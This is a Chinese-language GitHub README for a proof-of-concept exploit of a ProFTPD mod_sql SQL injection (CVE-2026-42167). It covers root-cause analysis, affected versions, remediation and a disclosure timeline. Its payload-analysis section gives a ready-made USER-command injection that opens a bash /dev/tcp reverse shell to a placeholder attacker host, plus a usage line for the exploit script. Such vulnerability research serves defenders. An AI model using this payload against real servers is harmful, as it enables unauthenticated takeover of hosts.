Sl4cK0TH/CVE-2026-42167-PoC
GitHub: Sl4cK0TH/CVE-2026-42167-PoC
针对 ProFTPD mod_sql 模块中 is_escaped_text() 函数逻辑缺陷的预认证 SQL 注入 RCE 漏洞概念验证工具,通过构造特殊 USER 命令绕过转义机制,利用 PostgreSQL 的 COPY TO PROGRAM 实现操作系统级远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-42167 POC
## ProFTPD 中通过 `mod_sql` SQL 注入实现预认证远程代码执行
**作者:** Van Glenndon Enad
**原始发现:** ZeroPath
**发布日期:** 2026 年 5 月 1 日
**严重程度:** 严重 (Critical)
**CVSS v3.1 评分:** 8.1
**CVSS v3.1 向量:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
**CVSS v2 评分:** 7.6
**CVSS v2 向量:** CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
**CWE:** CWE-89 (SQL 注入),CWE-78 (OS 命令注入)
## 目录
1. [执行摘要](#executive-summary)
2. [受影响软件](#affected-software)
3. [漏洞描述](#vulnerability-description)
4. [根本原因分析](#root-cause-analysis)
5. [前置条件](#prerequisites)
6. [漏洞利用链](#exploit-chain)
7. [Payload 分析](#payload-analysis)
8. [概念验证](#proof-of-concept)
9. [影响](#impact)
10. [修复建议](#remediation)
11. [参考来源](#references)
12. [披露时间线](#disclosure-timeline)
## 执行摘要
CVE-2026-42167 是 ProFTPD `mod_sql` 扩展模块中的一个严重的预认证 SQL 注入漏洞。`is_escaped_text()` 函数中的一个逻辑缺陷允许未经身份验证的攻击者通过构造一个满足其有缺陷的“已转义”启发式算法的 `USER` 命令值来绕过 SQL 字符转义。注入的 SQL 通过 `PQexec()` 直接传递给后端数据库,该函数支持堆叠查询。
当 ProFTPD 数据库角色是 PostgreSQL 超级用户时——这在容器化部署中是一种常见的错误配置——注入会触发 PostgreSQL 的 `COPY TO PROGRAM` 指令,从而以 `postgres` 系统用户的身份导致**未经身份验证的操作系统级远程代码执行 (RCE)**。此过程无需任何凭据、事先访问权限或用户交互。
## 受影响软件
| 组件 | 版本 |
|---|---|
| **ProFTPD** | ≤ 1.3.9 |
| **模块** | `mod_sql` + `mod_sql_postgres` |
| **已修复版本** | 1.3.9a (2026 年 4 月 27 日发布) |
| **后端** | PostgreSQL (RCE);MySQL / SQLite (仅绕过认证) |
ProFTPD 是一款广泛部署的开源 FTP 服务器。根据 Shodan 的数据,互联网上存在超过 **160,000 个可公开访问的 ProFTPD 实例**。`mod_sql` 模块通常在共享主机控制面板(包括 cPanel、Plesk、DirectAdmin、Webmin 和 ISPConfig)中被启用。
## 漏洞描述
ProFTPD 的 `mod_sql` 模块支持基于 SQL 的身份验证和活动日志记录。日志格式字符串可以包含替换变量,例如 `%U`(用户名)、`%r`(远程主机)和 `%m`(FTP 命令)。这些变量在运行时展开,并被插入到针对配置的后端执行的 SQL 查询中。
典型的易受攻击配置如下:
```
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
```
在此配置中,FTP `USER` 命令中提供的值会替换 `%U`,并直接包含在 SQL `INSERT` 语句中。在插入之前,该值会经过 `is_escaped_text()` 函数处理,以确定是否需要转义。该函数存在一个关键的逻辑缺陷。
## 根本原因分析
### 有缺陷的 `is_escaped_text()` 函数
位于 `contrib/mod_sql.c` 中的该函数应用以下启发式规则来判断字符串是否“已经过转义”:
```
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
```
当此函数返回 `TRUE` 时,`sql_resolved_append_text()`(第 777 行)会将未转义的原始值直接插入到查询字符串中。随后该值由 `contrib/mod_sql_postgres.c`(第 1146 行)中的 `PQexec()` 执行,该函数支持**堆叠(多语句)查询**。
### 为什么启发式算法会失效
该启发式算法的本意可能是为了检测已经被 SQL 字符串分隔符包围的字符串。然而,它并未尝试验证内部内容是否安全——仅仅检查是否不存在额外的单引号。这意味着任何满足以下条件的 payload:
- 以 `'` 开头
- 以 `'` 结尾
- **内部不使用单引号**(例如,使用 PostgreSQL 的 `$$` 美元符号引用代替)
……都将通过此检查,并被逐字注入到 SQL 查询中。
### 注入流程
```
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '' ──▶ │ │
│ │ expand %U = '' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
```
## 前置条件
| 要求 | 说明 |
|---|---|
| 启用 `mod_sql` 并配置 SQL 日志记录 | 必须记录预认证变量,如 `%U` |
| PostgreSQL 后端 | `COPY TO PROGRAM` RCE 所需;MySQL/SQLite 仍可绕过认证 |
| 数据库角色为 PostgreSQL 超级用户 | `COPY TO PROGRAM` 仅限于超级用户或 `pg_execute_server_program` 的成员使用 |
| 数据库主机上可用 `bash` | `/dev/tcp` 反向 shell 传递所需 |
| 网络可达性 | PostgreSQL 容器必须能够通过监听端口连接到攻击者 |
在容器化部署中,超级用户条件经常被满足,因为 ProFTPD 数据库用户是通过官方 PostgreSQL Docker 镜像中的 `POSTGRES_USER=...` 创建的,或者是因为管理员授予了 ProFTPD 角色的数据库所有权。
## 漏洞利用链
```
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
```
## Payload 分析
注入 payload 通过 FTP `USER` 命令传递:
```
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
```
### 绕过条件验证
| 条件 | 是否满足? | 原因 |
|---|---|---|
| 以 `'` 开头 | ✅ | 第一个字符是 `'` |
| 以 `'` 结尾 | ✅ | 最后一个字符是 `'` |
| 内部没有单引号 | ✅ | 内部字符串使用 `$$` 美元符号引用 |
### Payload 分解
| 片段 | 目的 |
|---|---|
| `', null, null);` | 干净地结束原始的 `INSERT` 语句 |
| `COPY (SELECT $$x$$) TO PROGRAM` | 利用 PostgreSQL 的 `COPY TO PROGRAM` 的堆叠查询 |
| `$$bash -c ...$$` | 使用 `$$` 美元符号引用以避免单引号的 shell 命令 |
| `; --'` | 终止堆叠查询;`--'` 注释掉剩余部分,并为绕过条件提供了闭合的 `'` |
## 概念验证
使用示例:
```
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
```
## 影响
| 类别 | 描述 |
|---|---|
| **机密性** | 以 `postgres` OS 用户的身份获得对文件系统的完全读取权限 |
| **完整性** | 能够写入文件、修改数据库内容、安装后门 |
| **可用性** | 可能造成服务中断和数据破坏 |
| **身份验证** | 无需任何凭据即可在预认证阶段被利用 |
| **影响范围** | 超出 ProFTPD 本身,扩展到底层 PostgreSQL 主机 |
任何将 ProFTPD 与 PostgreSQL 实例共存,或具有 PostgreSQL 超级用户访问权限的系统都面临主机被完全沦陷的风险。在漏洞利用后,轻易即可实现向相邻系统的横向移动,并通过 cron 任务或 SSH 密钥注入建立持久性。
## 修复建议
### 立即行动
- **升级** ProFTPD 至 **1.3.9a 或更高版本**——该修复使用适当的参数化查询处理方式对 `is_escaped_text()` 进行了修补
### 如果无法立即升级
- 完全禁用基于 `mod_sql` 的日志记录(移除 `SQLLog` 指令)
- 从 `SQLNamedQuery` 定义中移除预认证日志变量(`%U`、`%r`、`%m`)
### 纵深防御
- 确保 ProFTPD 数据库角色**不**是 PostgreSQL 超级用户(最小权限原则)
- 将数据库角色限制为仅能对日志表执行 `INSERT` 和对认证表执行 `SELECT`
- 尽可能将 ProFTPD 和 PostgreSQL 置于单独的网络段中
- 监控 FTP 日志中是否包含带有单引号、`COPY`、`PROGRAM` 或 SQL 关键字的 `USER` 命令
## 披露时间线
| 日期 | 事件 |
| ----------------- | ------------------------------------------------- |
| 2026 年 3 月 28 日 | 漏洞被报告给 ProFTPD 维护人员 |
| 2026 年 4 月 7 日 | 补丁验证开始 |
| 2026 年 4 月 24 日 | CVE-2026-42167 被分配 |
| 2026 年 4 月 27 日 | 修复提交;ProFTPD 1.3.9a 发布 |
| 2026 年 4 月 28 日 | 在 NVD 上发布 |
| 2026 年 4 月 28–29 日 | 公开的 PoC 代码库在 GitHub 上发布 |
| 2026 年 5 月 1 日 | 独立分析和简化的 PoC 发布 |
## 参考来源
- [NVD — CVE-2026-42167](https://nvd.nist.gov/vuln/detail/CVE-2026-42167)
- [ZeroPath 研究博客 — CVE-2026-42167 ProFTPD 认证绕过与 RCE](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce)
- [ZeroPathAI — 官方 PoC 代码库](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)
- [dinosn — 独立根本原因分析](https://github.com/dinosn/proftpd-CVE-2026-42167-analysis)
- [ProFTPD 问题 #2052 — 通过 mod_sql is_escaped_text 进行 SQL 注入](https://github.com/proftpd/proftpd/issues/2052)
- [CVEFeed.io — CVE-2026-42167](https://cvefeed.io/vuln/detail/CVE-2026-42167)
标签:0day漏洞, CISA项目, CVE-2026-42167, CVSS 8.1, CWE-78, CWE-89, mod_sql, PoC, PostgreSQL, ProFTPD, RCE, Web截图, XXE攻击, 容器安全, 情报收集, 数据展示, 暴力破解, 测试用例, 漏洞分析, 漏洞研究, 特权提升, 红队, 编程工具, 网络安全, 自动化部署, 路径探测, 远程代码执行, 逆向工具, 隐私保护, 预认证漏洞